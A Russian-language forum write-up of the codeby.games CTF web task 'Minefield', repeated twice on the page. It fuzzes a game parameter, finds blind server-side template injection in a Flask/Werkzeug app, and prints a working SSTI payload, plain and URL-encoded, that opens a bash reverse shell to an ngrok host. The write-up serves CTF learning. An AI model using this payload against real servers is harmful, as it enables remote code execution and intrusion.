Слепая SSTI - Опасные Шаги по Минному Полю
- Приветствие
- Поиск точки входа
- Получение реверс шелла
- Заключение
Приветствую читателей форума и любителей СTF codeby.games, сегодня мы рассмотрим таск Минное Поле из категории Веб.
Думаю многие в восторге от этой площадки, и я в том числе.
Поиск точки входа
Первое что мы видим попадая на сайт, это игра сапер, поле с ячейками нажимая на которые мы получаем информацию - Неизвестный идентификатор мяча
Мы так же видим параметр ballooon=0 , в данном случае это номер ячейки. Щелкая по ним мы понимаем что поле состоит
из 400 ячеек. Мы можем пофазить эти значения сразу и найти что то интересное. Сделаем мы это в Burp , щелкаем по ячейке,
ловим запрос и отправляем это в Intruder.
Там мы добавляем нагрузку на наше значение, а в payloads выбираем Numbers и число 400 :
И нажимаем Start attack. После запуска мы найдем что искали:
Длинна ответа отличается от остальных. Значит это то, что нам нужно.
Подставив это число в наш параметр мы увидим:
Поздравляю! Вы нашли секретный воздушный шар №337, Хм..
При отправке запроса в Repeater мы видим надпись Server: Werkzeug/2.3.7 Python/3.9.18
Начинаем гуглить:
Это подарок на самом деле, здесь мы понимаем велика вероятность что это ssti.
При подстановке {{300%2b37}} вместо числа 337 мы получаем тот же результат.
Но получить конфиг или что то другое не получается. Здесь мы понимаем что это слепая ssti.
Нам нужно получить RCE, можно воспользоваться ламерскими программами которые делают это очень просто,
но мы не ищем легких путей.
Получение реверс шелла:
Запускаем Ngrok
Включаем слушатель:
В самом burp мы можем отправить запрос в Repeater и там вставить нашу нагрузку в наш параметр balloon= , выглядеть она будет так:
{{self.__init__.__globals__.__builtins__.__import__('os').popen('/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14362 0>&1'').read()}}
Только в нашем случае нужно сделать url encode:
{{self.__init__.__globals__.__builtins__.__import__(%27os%27).popen(%22%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%36%2e%74%63%70%2e%65%75%2e%6e%67%72%6f%6b%2e%69%6f%2f%31%34%33%36%32%20%30%3e%26%31%27%22).read()}}
Далее мы просто отправляем запрос :
Бинго! Мы получили наш шелл. Осталось найти флаг, демонстрировать я этого не буду. Он лежит на поверхности, смотрите основную директорию командой ls -la и ищите нужный файл.
Заключение:
Получение RCE через уязвимость SSTI в данном случае говорит о серьезности и опасности этого вектора.
Удаленное выполнение кода - является одной из наиболее серьезных угроз для системы, так как позволяет злоумышленнику выполнить произвольный код на сервере.
Это подчеркивает необходимость тщательной проверки и обработки входных данных, а также безопасности использования шаблонов.
- Приветствие
- Поиск точки входа
- Получение реверс шелла
- Заключение
Приветствую читателей форума и любителей СTF codeby.games, сегодня мы рассмотрим таск Минное Поле из категории Веб.
Думаю многие в восторге от этой площадки, и я в том числе.
Поиск точки входа
Первое что мы видим попадая на сайт, это игра сапер, поле с ячейками нажимая на которые мы получаем информацию - Неизвестный идентификатор мяча
Мы так же видим параметр ballooon=0 , в данном случае это номер ячейки. Щелкая по ним мы понимаем что поле состоит
из 400 ячеек. Мы можем пофазить эти значения сразу и найти что то интересное. Сделаем мы это в Burp , щелкаем по ячейке,
ловим запрос и отправляем это в Intruder.
Там мы добавляем нагрузку на наше значение, а в payloads выбираем Numbers и число 400 :
И нажимаем Start attack. После запуска мы найдем что искали:
Длинна ответа отличается от остальных. Значит это то, что нам нужно.
Подставив это число в наш параметр мы увидим:
Поздравляю! Вы нашли секретный воздушный шар №337, Хм..
При отправке запроса в Repeater мы видим надпись Server: Werkzeug/2.3.7 Python/3.9.18
Начинаем гуглить:
Это подарок на самом деле, здесь мы понимаем велика вероятность что это ssti.
При подстановке {{300%2b37}} вместо числа 337 мы получаем тот же результат.
Но получить конфиг или что то другое не получается. Здесь мы понимаем что это слепая ssti.
Нам нужно получить RCE, можно воспользоваться ламерскими программами которые делают это очень просто,
но мы не ищем легких путей.
Получение реверс шелла:
Запускаем Ngrok
Включаем слушатель:
В самом burp мы можем отправить запрос в Repeater и там вставить нашу нагрузку в наш параметр balloon= , выглядеть она будет так:
{{self.__init__.__globals__.__builtins__.__import__('os').popen('/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14362 0>&1'').read()}}
Только в нашем случае нужно сделать url encode:
{{self.__init__.__globals__.__builtins__.__import__(%27os%27).popen(%22%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%36%2e%74%63%70%2e%65%75%2e%6e%67%72%6f%6b%2e%69%6f%2f%31%34%33%36%32%20%30%3e%26%31%27%22).read()}}
Далее мы просто отправляем запрос :
Бинго! Мы получили наш шелл. Осталось найти флаг, демонстрировать я этого не буду. Он лежит на поверхности, смотрите основную директорию командой ls -la и ищите нужный файл.
Заключение:
Получение RCE через уязвимость SSTI в данном случае говорит о серьезности и опасности этого вектора.
Удаленное выполнение кода - является одной из наиболее серьезных угроз для системы, так как позволяет злоумышленнику выполнить произвольный код на сервере.
Это подчеркивает необходимость тщательной проверки и обработки входных данных, а также безопасности использования шаблонов.
Вложения
Последнее редактирование: